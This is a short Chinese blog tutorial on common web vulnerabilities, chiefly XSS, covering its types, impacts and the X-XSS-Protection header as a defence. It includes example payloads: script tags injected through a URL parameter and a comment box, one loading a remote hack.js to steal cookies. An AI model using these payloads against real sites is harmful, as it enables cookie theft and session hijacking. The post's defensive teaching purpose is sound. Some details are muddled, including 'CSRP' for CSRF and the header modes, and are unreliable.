web常见的安全漏洞与防范

738 阅读2分钟

一起养成写作习惯!这是我参与「掘金日新计划 · 4 月更文挑战」的第10天,点击查看活动详情
web常见的安全漏洞基本分为XSS、CSRP、点击劫持、SQL注入这4种情况

xss

xss(Cross-site-Script, 跨站脚本攻击),因为缩写和css重叠,所以只好叫为xss。

什么是?

通过存在安全漏洞的web网站注册用户的浏览器内运行非法的非法站点Html或js进行的一种攻击

影响

  • 利用虚假输入表单骗取用户的信息
  • 利用脚本窃取用户的cookie值,被害者在不知情的情况下,帮助攻击者发送恶意的请求
  • 显示伪造的文章或者图片

分类

  • 反射型-URL参数直接注入 eg:
    1)http://location:3000/?from=<script>alert(3)</script>;
  1. 获取Cookie:http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"> </script>
  2. 短域名伪造:https://dwz.cn/
  • 存储型-存储到DB后读取注入
    eg:
    1)评论等输入框输入:
  1. 跨站脚本注入:我来了<script src="http://localhost:4000/hack.js"></script>

危害

1)获取页面数据;
2)获取cookies;
3) 劫持前端逻辑;
4)发送请求;
5)偷取网站的任意数据;
6)偷取用户资料;
7)偷取用户的秘密和登录态;
8)欺骗用户;

防范

HEAD

ctx.set('x-xss-protection',0);
0:禁用xss过滤;
1:启用xss过滤;如果检测到攻击,浏览器将清除页面(删除不安全的部分)(通常浏览器是默认的) 大多数浏览器框架都进行的安全普通的安全过滤,如,xss; 启用过滤:
1:mode=block 检测到攻击,浏览器不会清除页面,而是阻止页面加载;
2:report=(Chromium only)
检测到跨站脚本攻击,浏览器清除页面并使用CSP report-uri指令的功能发送违规报告;

其他内容,直接上思维导图

因为这块内容写下来比较多,所以直接上图,更加一目了然,对于web常见的安全漏洞与防范,我整理了一个思维导图,如下:
image.png 最后:不要问我为什么一开始不直接上思维导图,我也想,只因为字数不够😝